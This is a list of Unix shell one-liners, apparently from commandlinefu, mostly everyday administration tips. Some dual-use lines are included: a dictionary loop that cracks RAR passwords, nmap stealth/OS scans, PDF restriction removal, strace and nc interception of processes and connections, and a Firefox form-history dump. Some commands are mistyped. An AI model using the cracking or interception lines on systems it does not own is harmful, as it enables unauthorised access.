

```
# Run the last command as root
sudo !!

# Serve current directory tree at http://$HOSTNAME:8000/
python -m SimpleHTTPServer

# Save a file you edited in vim without the needed permissions
:w !sudo tee %

# change to the previous working directory
cd -

# Runs previous command but replacing
^foo^bar

# mtr, better than traceroute and ping combined
mtr google.com

# quickly backup or copy a file with bash
cp filename{, .bak}

# Rapidly invoke an editor to write a long, complex, or tricky command
ctrl-x e

# Copy ssh keys to user@host to enable password-less ssh logins.
$ssh-copy-id user@host

# Empty a file
> file.txt

# Execute a command without saving it in the history
<space>command

# Capture video of a linux desktop
ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg

# Salvage a borked terminal
reset

# start a tunnel from some machine's port 80 to your local post 2001
ssh -N -L2001:localhost:80 somemachine

# Execute a command at a given time
echo "ls -l" | at midnight

# Query Wikipedia via console over DNS
dig +short txt <keyword>.wp.dg.cx

# currently mounted filesystems in nice layout
mount | column -t

# Update twitter via curl
curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml

# Place the argument of the most recent command on the shell
'ALT+.' or '<ESC> .'

# output your microphone to a remote computer's speaker
```

```
dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp

# Lists all listening ports together with the PID of the associated process
netstat -tlnp

# Mount a temporary ram partition
mount -t tmpfs tmpfs /mnt -o size=1024m

# Mount folder/filesystem through SSH
sshfs name@server:/path/to/folder /path/to/mount/point

# Runs previous command replacing foo by bar every time that foo appears
!!:gs/foo/bar

# Compare a remote file with a local file
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -

# Quick access to the ascii table.
man ascii

# Download an entire website
wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com

# Shutdown a Windows machine from Linux
net rpc shutdown -I ipAddressOfWindowsPC -U username%password

# List the size (in human readable form) of all sub folders from the current location
du -h --max-depth=1

# Get your external IP address
curl ifconfig.me

# A very simple and useful stopwatch
time read (ctrl-d to stop)

# Clear the terminal screen
ctrl-l

# Jump to a directory, execute a command and jump back to current dir
(cd /tmp && ls)

# Check your unread Gmail from the command line
curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*?)<\/\1>/;'

# SSH connection through host in the middle
ssh -t reachable_host ssh unreachable_host

# Display the top ten running processes - sorted by memory usage
ps aux | sort -nk +4 | tail

# Reboot machine when everything is hanging
<alt> + <print screen/sys rq> + <R> - <S> - <E> - <I> - <U> - <B>

# Simulate typing
echo "You can simulate on-screen typing just like in the movies" | pv -qL 10

# Watch Star Wars via telnet
```

```
telnet towel.blinkenlights.nl

# List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head

# Set audible alarm when an IP address comes online
ping -i 60 -a IP_address

# Make 'less' behave like 'tail -f'.
less +F somelogfile

# diff two unsorted files without creating temporary files
diff <(sort file1) <(sort file2)

# type partial command, kill this command, check something you forgot, yank the
command, resume typing.
<ctrl+u> [...] <ctrl+y>

# Close shell keeping all subprocess running
disown -a && exit

# Display a block of text with AWK
awk '/start_pattern/,/stop_pattern/' file.txt

# Watch Network Service Activity in Real-time
lsof -i

# Backticks are evil
echo "The date is: $(date +%D)"

# Sharing file through http 80 port
nc -v -l 80 < file.ext

# Matrix Style
tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR
="1;32" grep --color "[^ ]"

# Push your present working directory to a stack that you can pop later
pushd /tmp

# python smtp server
python -m smtpd -n -c DebuggingServer localhost:1025

# Create a script of the last executed command
echo "!!" > foo.sh

# Rip audio from a video file.
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-fil
e>

# Set CDPATH to ease navigation
CDPATH=...::~~/projects

# 32 bits or 64 bits?
getconf LONG_BIT

# Google Translate
translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/transl
ate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText": "\([^"]*\)".*/
```

```

\1\n/'; }

# A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
sudo dd if=/dev/mem | cat | strings

# Extract tarball from internet without local saving
wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf -

# Show apps that use internet connection at the moment. (Multi-Language)
lsof -P -i -n

# Kills a process that is locking a file.
fuser -k filename

# Stream YouTube URL directly to mplayer.
i="8uyxVmdaJ-w";mplayer -fs $(curl -s "http://www.youtube.com/get_video_info?&video_id=$i" | echo -e $(sed 's/%/\x/g;s/.*\([v0-9]\.lscache.*\)/http:\/\/\1/g') | grep -oP '^[^,]*')

# Display which distro is installed
cat /etc/issue

# Put a console clock in top right corner
while sleep 1;do tput sc;tput cup 0 $((($tput cols)-29));date;tput rc;done &

# Reuse all parameter of the previous command line
!*

# Delete all files in a folder that don't match a certain file extension
rm !(*.foo|*.bar|*.baz)

# Inserts the results of an autocompletion in the command line
ESC *

# save command output to image
ifconfig | convert label:@- ip.png

# Remove duplicate entries in a file without sorting.
awk '!x[$0]++' <file>

# Add Password Protection to a file your editing in vim.
vim -x <FILENAME>

# Copy your SSH public key on a remote machine for passwordless login - the easy way
ssh-copy-id username@hostname

# Easily search running processes (alias).
alias 'ps?']='ps ax | grep '

# Insert the last command without the last argument (bash)
!:-

# Create a CD/DVD ISO image from disk.
readom dev=/dev/scd0 f=/path/to/image.iso

# Easy and fast access to often executed commands that are very long and complex
some_very_long_and_complex_command # label

```

```

# Find the process you are looking for minus the grepped one
ps aux | grep [p]rocess-name

# Job Control
^Z $bg $disown

# Graphical tree of sub-directories
ls -R | grep ":\$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/  /' -e 's
/-/|/'

# quickly rename a file
mv filename.{old,new}

# intercept stdout/stderr of another process
strace -ff -e trace=write -e write=1,2 -p SOME_PID

# Graph # of connections for each hosts.
netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort
| uniq -c | awk '{ printf("%s\t%s\t", $2, $1) ; for (i = 0; i < $1; i++) {printf("
*"); print " " }'

# escape any command aliases
\[command]

# Monitor progress of a command
pv access.log | gzip > access.log.gz

# Display a cool clock on your terminal
watch -t -n1 "date +%T|figlet"

# Edit a file on a remote host using vim
vim scp://username@host//path/to/somefile

# Define a quick calculator function
? () { echo "$*" | bc -l; }

# Mount a .iso file in UNIX/Linux
mount /path/to/file.iso /mnt/cdrom -oloop

# Get the 10 biggest files/folders for the current direcotry
du -s * | sort -n | tail

# Remove all but one specific file
rm -f !(survivor.txt)

# Check your unread Gmail from the command line
curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr
-d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<ti
tle>\(.*\)\</title.*name>\(.*\)\</name>.*\/2 - \1/p"

# Send pop-up notifications on Gnome
notify-send ["<title>"] "<body>"

# Convert seconds to human-readable format
date -d@1234567890

# Generate a random password 30 characters long
strings /dev/urandom | grep -o '[:alnum:]' | head -n 30 | tr -d '\n'; echo

```

```
# Print all the lines between 10 and 20 of a file
sed -n '10,20p' <filename>

# Show apps that use internet connection at the moment. (Multi-Language)
ss -p

# Record a screencast and convert it to an mpeg
ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg

# Processor / memory bandwidth? in GB/s
dd if=/dev/zero of=/dev/null bs=1M count=32768

# Open Finder from the current Terminal location
open .

# Make directory including intermediate directories
mkdir -p a/long/directory/path

# Run a command only when load average is below a certain threshold
echo "rm -rf /unwanted-but-large/folder" | batch

# Show File System Hierarchy
man hier

# Copy a file using pv and watch its progress
pv sourcefile > destfile

# Remove security limitations from PDF documents using ghostscript
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrit
e -f INPUT.pdf

# directly ssh to host B that is only accessible through host A
ssh -t hostA ssh hostB

# Share a terminal screen with others
% screen -r someuser/

# Create a persistent connection to a machine
ssh -MNf <user>@<host>

# Monitor the queries being run by MySQL
watch -n 1 mysqladmin --user=<user> --password=<password> processlist

# Multiple variable assignments from command output in BASH
read day month year <<< $(date +%d %m %y)

# Binary Clock
watch -n 1 'echo "obase=2;`date +%s`" | bc'

# return external ip
curl icanhazip.com

# Backup all MySQL Databases to individual files
for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I |
gzip > "$I.sql.gz"; done

# Attach screen over ssh
ssh -t remote_host screen -r
```

```

# Create a pdf version of a manpage
man -t manpage | ps2pdf - filename.pdf

# Remove a line in a text file. Useful to fix
ssh-keygen -R <the_offending_host>

# Search commandlinefu.com from the command line using the API
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }

# Download Youtube video with wget!
wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO- | sed -n "/fmt_url_map/{s/[\\"\\\"\\|]/\\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' | tr -d '\\n' | sed -e 's/\\(.*)\\,\\(.*)\\{1,3\\}/\\1/' | wget -i - -O surprise.flv

# RTFM function
rtfm() { help $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }

# What is my public IP-address?
curl ifconfig.me

# Run a file system check on your next boot.
sudo touch /forcefsck

# To print a specific line from a file
sed -n 5p <file>

# Find Duplicate Files (based on size first, then MD5 hash)
find -not -empty -type f -printf "%s\\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate

# Bring the word under the cursor on the :ex line in Vim
:<C-R><C-W>

# Port Knocking!
knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000

# Show a 4-way scrollable process tree with full details.
ps awwfix | less -S

# replace spaces in filenames with underscores
rename 'y/ /_/' *

# (Debian/Ubuntu) Discover what package a file belongs to
dpkg -S /usr/bin/ls

# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'

# Block known dirty hosts from reaching your machine
wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s \"$1\" -j DROP"}'

```

```
# Download all images from a site
wget -r -ll --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images

# Broadcast your shell thru ports 5000, 5001, 5002 ...
script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)

# ls not pattern
ls !(*.gz)

# Edit a google doc with vim
google docs edit --title "To-Do List" --editor vim

# Show numerical values for each of the 256 colors in bash
for code in {0..255}; do echo -e "\e[38;05;${code}m $code: Test"; done

# Makes the permissions of file2 the same as file1
chmod --reference file1 file2

# A robust, modular log coloriser
ccze

# Remove all files previously extracted from a tar(.gz) file.
tar -tf <file.tar.gz> | xargs rm -r

# which program is this port belongs to ?
lsof -i tcp:80

# Copy your ssh public key to a server from a machine that doesn't have ssh-copy
-id
cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized
_keys"

# check site ssl certificate dates
echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -d
ates -noout

# Remove a line in a text file. Useful to fix "ssh host key change" warnings
sed -i 8d ~/.ssh/known_hosts

# List only the directories
ls -d */

# exit without saving history
kill -9 $$

# Eavesdrop on your system
diff <(lsof -p 1234) <(sleep 10; lsof -p 1234)

# Gets a random Futurama quote from /.
curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2

# Remind yourself to leave in 15 minutes
leave +15

# Convert PDF to JPG
for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interla
ce none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; don
e
```



```
# using `!#$' to referance backward-word
cp /work/host/phone/ui/main.cpp !#:s/host/target

# Fast, built-in pipe-based data sink
<COMMAND> |:

# Use tee to process a pipe with two or more processes
echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_')

# Exclude .svn, .git and other VCS junk for a pristine tarball
tar --exclude-vcs -cf src.tar src/

# Colorized grep in less
grep --color=always | less -R

# Manually Pause/Unpause Firefox Process with POSIX-Signals
killall -STOP -m firefox

# Search recursively to find a word or phrase in certain file types, such as C c
ode
find . -name "*.ch]" -exec grep -i -H "search phrase" {} \;

# Exclude multiple columns using AWK
awk '{$1=$3=""}1' file

# Synchronize date and time with a server over ssh
date --set="$(ssh user@server date)"

# Control ssh connection
[enter]~?

# Get the IP of the host your coming from when logged in remotely
echo ${SSH_CLIENT%% *}

# Take screenshot through SSH
DISPLAY=:0.0 import -window root /tmp/shot.png

# run complex remote shell cmds over ssh, without escaping quotes
ssh host -l user $(<cmd.txt)

# prints line numbers
nl

# Press Any Key to Continue
read -sn 1 -p "Press any key to continue..."

# Show apps that use internet connection at the moment.
lsof -P -i -n | cut -f 1 -d " " | uniq | tail -n +2

# Release memory used by the Linux kernel on caches
free && sync && echo 3 > /proc/sys/vm/drop_caches && free

# Create a nifty overview of the hardware in your computer
lshw -html > hardware.html

# Add timestamp to history
export HISTTIMEFORMAT="%F %T "

# find geographical location of an ip address
```

```
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\\'|sed 's\My\\'
```

```
# read manpage of a unix command as pdf in preview (Os X)  
man -t UNIX_COMMAND | open -f -a preview
```

```
# How to establish a remote Gnu screen session that you can re-connect to  
ssh -t user@some.domain.com /usr/bin/screen -xRR
```

```
# Copy a MySQL Database to a new Server via SSH with one command  
mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"
```

```
# make directory tree  
mkdir -p work/{d1,d2}/{src,bin,bak}
```

```
# Create a quick back-up copy of a file  
cp file.txt{, .bak}
```

```
# Find out how much data is waiting to be written to disk  
grep ^Dirty /proc/meminfo
```

```
# mkdir & cd into it as single command  
mkdir /home/foo/doc/bar && cd $_
```

```
# Use file(1) to view device information  
file -s /dev/sd*
```

```
# Bind a key with a command  
bind -x '"\C-l":ls -l'
```

```
# Opens vi/vim at pattern in file  
vi +/pattern [file]
```

```
# Colorful man  
apt-get install most && update-alternatives --set pager /usr/bin/most
```

```
# live ssh network throughput test  
yes | pv | ssh $host "cat > /dev/null"
```

```
# Pipe stdout and stderr, etc., to separate commands  
some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
```

```
# Remove blank lines from a file using grep and save output to new file  
grep . filename > newfilename
```

```
# Go to parent directory of filename edited in last command  
cd !$:h
```

```
# Draw a Sierpinski triangle  
perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display
```

```
# Recursively change permissions on files, leave directories alone.  
find ./ -type f -exec chmod 644 {} \;
```

```
# recursive search and replace old with new string, inside files  
$ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'
```

```
# shut of the screen.
xset dpms force standby

# Save your sessions in vim to resume later
:mksession! <filename>

# Intercept, monitor and manipulate a TCP connection.
mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port
t | tee -a from.log > /tmp/fifo

# Display a list of committers sorted by the frequency of commits
svn log -q|grep "|" |awk "{print \$3}"|sort|uniq -c|sort -nr

# Prettify an XML file
tidy -xml -i -m [file]

# List the number and type of active network connections
netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c

# Google text-to-speech in mp3 format
wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=hello+world"

# Bind a key with a command
bind '"\C-l": "ls -l\n"'

# Alias HEAD for automatic smart output
alias head='head -n $(( ${LINES:-`tput lines 2>/dev/null||echo -n 12` } - 2))'

# Create colorized html file from Vim or Vimdiff
:TOhtml

# Recursively remove all empty directories
find . -type d -empty -delete

# Listen to BBC Radio from the command line.
bbcradio() { local s PS3="Select a station: ";select s in 1 1x 2 3 4 5 6 7 "Asian Network an" "Nations & Local lcl";do break;done;s=($s);mplayer -playlist "http://www.bbc.co.uk/radio/listen/live/r"${s[@]: -1} ".asx";}

# backup all your commandlinefu.com favourites to a plaintext file
clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}

# send echo to socket network
echo "foo" > /dev/tcp/192.168.1.2/25

# Cracking a password protected .rar file
for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done

# Use lynx to run repeating website actions
lynx -accept_all_cookies -cmd_script=/your/keystroke-file

# Create a single-use TCP (or UDP) proxy
nc -l -p 2000 -c "nc example.org 3000"
```

```

# runs a bash script in debugging mode
bash -x ./post_to_commandlinefu.sh

# GRUB2: set Super Mario as startup tune
echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4
196 2\" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub

# A child process which survives the parent's death (for sure)
( command & )

# send a circular
wall <<< "Broadcast This"

# exclude a column with cut
cut -f5 --complement

# Random Number Between 1 And X
echo ${RANDOM%X+1}

# April Fools' Day Prank
PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\033\033[%d;%dH\033[4%dm
\033[m\0338" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'

# copy working directory and compress it on-the-fly while showing progress
tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz

# Create an audio test CD of sine waves from 1 to 99 Hz
(echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.
cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) > cdrdao
.toc && cdrdao write cdrdao.toc && rm ??cdda cdrdao.toc

# Create a directory and change into it at the same time
md () { mkdir -p "$@" && cd "$@"; }

# Search for a <pattern> string inside all files in the current directory
grep -RnisI <pattern> *

# convert unixtime to human-readable
date -d @1234567890

# Show current working directory of a process
pwdx pid

# Diff on two variables
diff <(echo "$a") <(echo "$b")

# Compare two directory trees.
diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)

# delete a line from your shell history
history -d

# Perform a branching conditional
true && { echo success;} || { echo failed; }

# Find files that have been modified on your system in the past 60 minutes
sudo find / -mmin 60 -type f

# Use tee + process substitution to split STDOUT to multiple commands
some_command | tee >(command1) >(command2) >(command3) ... | command4

```

```
# Speed up launch of firefox
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;

# find files in a date range
find . -type f -newermt "2010-01-01" ! -newermt "2010-06-01"

# Shell recorder with replay
script -t /tmp/mylog.out 2>/tmp/mylog.time; <do your work>; <CTRL-D>; scriptrepl
ay /tmp/mylog.time /tmp/mylog.out

# Find usb device
diff <(lsusb) <(sleep 3s && lsusb)

# prevent accidents while using wildcards
rm *.txt <TAB> <TAB>

# The BOFH Excuse Server
telnet towel.blinkenlights.nl 666

# Recover a deleted file
grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txt

# Lists all listening ports together with the PID of the associated process
lsof -Pan -i tcp -i udp

# notify yourself when a long-running command which has ALREADY STARTED is finis
hed
<ctrl+z> fg; notify_me

# easily find megabyte eating files or directories
alias dush="du -sm *|sort -n|tail"

# GREP a PDF file.
pdftotext [file] - | grep 'YourPattern'

# View the newest xkcd comic.
xkcd(){ wget -q0- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^\s]+/
comics/[^\s]+\.\w{3}')|grep -Po '(?<=(\w{3})" title=").*?(?=" alt)');}

# Schedule a script or command in x num hours, silently run in the background ev
en if logged out
( ( sleep 2h; your-command your-args ) & )

# throttle bandwidth with cstream
tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'

# List all files opened by a particular command
lsof -c dhcpcd

# Brute force discover
sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a
[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "
%6s\t%s\n", a[i], i|"sort -n"}'

# convert uppercase files to lowercase files
rename 'y/A-Z/a-z/' *

# Instead of writing a multiline if/then/else/fin construct you can do that by on
```

```

e line
[[ test_condition ]] && if_true_do_this || otherwise_do_that

# Create a file server, listening in port 7000
while true; do nc -l 7000 | tar -xvf -; done

# Convert seconds into minutes and seconds
bc <<< 'obase=60;299'

# VI config to save files with +x when a shebang is found on line 1
au BufWritePost * if getline(1) =~ "^#!" | if getline(1) =~ "/bin/" | silent !ch
mod +x <afile> | endif | endif

# find all file larger than 500M
find / -type f -size +500M

# Diff remote webpages using wget
diff <(wget -q -O - URL1) <(wget -q -O - URL2)

# pretend to be busy in office to enjoy a cup of coffee
cat /dev/urandom | hexdump -C | grep "ca fe"

# processes per user counter
ps hax -ouser | sort | uniq -c

# analyze traffic remotely over ssh w/ wireshark
ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i -

# perl one-liner to get the current week number
date +%V

# Monitor bandwidth by pid
nethogs -p eth0

# Recursively compare two directories and output their differences on a readable
format
diff -urp /originaldirectory /modifieddirectory

# DELETE all those duplicate files but one based on md5 hash comparision in the
current directory tree
find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split
(/\s+/, $_, 2);print "$f"."$h" if ($h eq $ph)'|xargs -0 rm -v --

# List recorded formular fields of Firefox
cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk -F= '{prin
t $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null

# Nicely display permissions in octal format with filename
stat -c '%A %a %n' *

# Resume scp of a big file
rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file

# Base conversions with bc
echo "obase=2; 27" | bc -l

# Start a command on only one CPU core
taskset -c 0 your_command

```

```
# Switch 2 characters on a command line.
ctrl-t

# Get info about remote host ports and OS detection
nmap -sS -P0 -sV -O <target>

# cat a bunch of small files with file indication
grep . *

# format txt as table not joining empty columns
column -tns: /etc/passwd

# Tell local Debian machine to install packages used by remote Debian machine
ssh remotehost 'dpkg --get-selections' | dpkg --set-selections && dselect instal
l

# send a circular
echo "dear admin, please ban eribsskog" | wall

# Close a hanging ssh session
~.

# I finally found out how to use notify-send with at or cron
echo "export DISPLAY=:0; export XAUTHORITY=~/.Xauthority; notify-send test" | at
now+1minute

# See udev at work
udevadm monitor

# Get your outgoing IP address
dig +short myip.opendns.com @resolver1.opendns.com

# your terminal sings
echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down,
pass it around, one less bottle of beer on the wall,, " | espeak -v english -s 1
40

# Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${
y// /+}"|grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities -pe 'decode_entities
($_) ' 2>/dev/null;}

# Insert the last argument of the previous command
<ESC> .

# Harder, Faster, Stronger SSH clients
ssh -4 -C -c blowfish-cbc

# Duplicate several drives concurrently
dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc

# Get your external IP address
curl ip.appspot.com

# Clean up poorly named TV shows.
rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.n
amed.file.s01e01.avi

# Find files that were modified by a given command
touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file
```

```
# A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
sudo strings /dev/mem

# Triple monitoring in screen
tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen -t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' > $tmpfile && sudo screen -c $tmpfile

# Quickly (soft-)reboot skipping hardware checks
/sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync; /sbin/kexec -e

# Save an HTML page, and covert it to a .pdf file
wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &

# Relocate a file or directory, but keep it accessible on the old location through a symlink.
mv $1 $2 && ln -s $2/${basename $1} ${dirname $1}

# Run a long job and notify me when it's finished
./my-really-long-job.sh && notify-send "Job finished"

# Make anything more awesome
command | figlet

# Install a Firefox add-on/theme to all users
sudo firefox -install-global-extension /path/to/add-on

# Copy a file structure without files
find * -type d -exec mkdir /where/you/wantem/{\} \;

# Analyse an Apache access log for the most common IP addresses
tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail

# Share your terminal session real-time
mkfifo foo; script -f foo

# Generate an XKCD #936 style 4 word password
shuf -n4 /usr/share/dict/words | tr -d '\n'

# Find all the links to a file
find -L / -samefile /path/to/file -exec ls -ld {} +

# Recover tmp flash videos (deleted immediately by the browser plugin)
for h in `find /proc/*/fd -ilname "/tmp/Flash*" 2>/dev/null`; do ln -s "$h" `readlink "$h" | cut -d' ' -f1`; done

# stderr in color
mycommand 2> >(while read line; do echo -e "\e[01;31m$line\e[0m"; done)

# Stop Flash from tracking everything you do.
for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i ) ; done

# Create a single PDF from multiple images with ImageMagick
convert *.jpg output.pdf

# List files with quotes around each filename
```



```
ls -Q

# List alive hosts in specific subnet
nmap -sP 192.168.1.0/24

# Delete all empty lines from a file with vim
:g/^$/d

# Makes you look busy
alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l $my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file'

# Remote screenshot
DISPLAY=":0.0" import -window root screenshot.png

# Execute a command with a timeout
timeout 10 sleep 11

# Backup all MySQL Databases to individual files
for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip > "/backups/mysqldump-$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz"; done

# Cleanup firefox's database.
find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;

# check open ports
lsof -Pni4 | grep LISTEN

# Have an ssh session open forever
autossh -M50000 -t server.example.com 'screen -raAd mysession'

# Create a system overview dashboard on F12 key
bind '"\e[24~"' : "\ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"

# coloured tail
tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g'

# Search for commands from the command line
clfu-seach <search words>

# Quickly graph a list of numbers
gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines")

# a short counter
yes '' | cat -n

# How to run X without any graphics hardware
startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc

# Rsync remote data as root using sudo
rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/

# ls -hog --> a more compact ls -l
ls -hog

# Put readline into vi mode
set -o vi
```

```
# Delete all empty lines from a file with vim
:g!/\S/d

# Get all the keyboard shortcuts in screen
^A ?

# Copy stdin to your X11 buffer
ssh user@host cat /path/to/some/file | xclip

# List of commands you use most often
history | awk '{print $2}' | sort | uniq -c | sort -rn | head

# Start a new command in a new screen window
alias s='screen -X screen'; s top; s vi; s man ls;

# bypass any aliases and functions for the command
\foo

# All IP connected to my host
netstat -lantp | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort -u

# Repoint an existing symlink to a new location
ln -nsf <TARGET> <LINK>

# df without line wrap on long FS name
df -P | column -t

# Watch RX/TX rate of an interface in kb/s
while [ /bin/true ]; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done

# rsync instead of scp
rsync --progress --partial --rsh="ssh -p 8322" --bwlimit=100 --ipv4 user@domain.com:~/file.tgz .

# Download a file and uncompress it while it downloads
wget http://URL/FILE.tar.gz -O - | tar xzf -

# Single use vnc-over-ssh connection
ssh -f -L 5900:localhost:5900 your.ssh.server "x11vnc -safer -localhost -nopw -once -display :0"; vinagre localhost:5900

# Visit wikileaks.com
echo 213.251.145.96 wikileaks.com >>/etc/hosts

# List all open ports and their owning executables
lsof -i -P | grep -i "listen"

# use the previous commands params in the current command
!!: [position]

# View network activity of any application or user in realtime
lsof -r 2 -p PID -i -a

# Convert text to picture
echo -e "Some Text Line1\nSome Text Line 2" | convert -background none -density
```

```
196 -resample 72 -unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolo
r white -border 3 text.gif

# download and unpack tarball without leaving it sitting on your hard drive
wget -q0 - http://example.com/path/to/blah.tar.gz | tar xzf -

# Colored diff ( via vim ) on 2 remotes files on your local computer.
vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server-bar.com
//etc/snmp/snmpd.conf

# Pretty Print a simple csv in the command line
column -s, -t <tmp.csv

# git remove files which have been deleted
git add -u

# redirect stdout and stderr each to separate files and print both to the screen
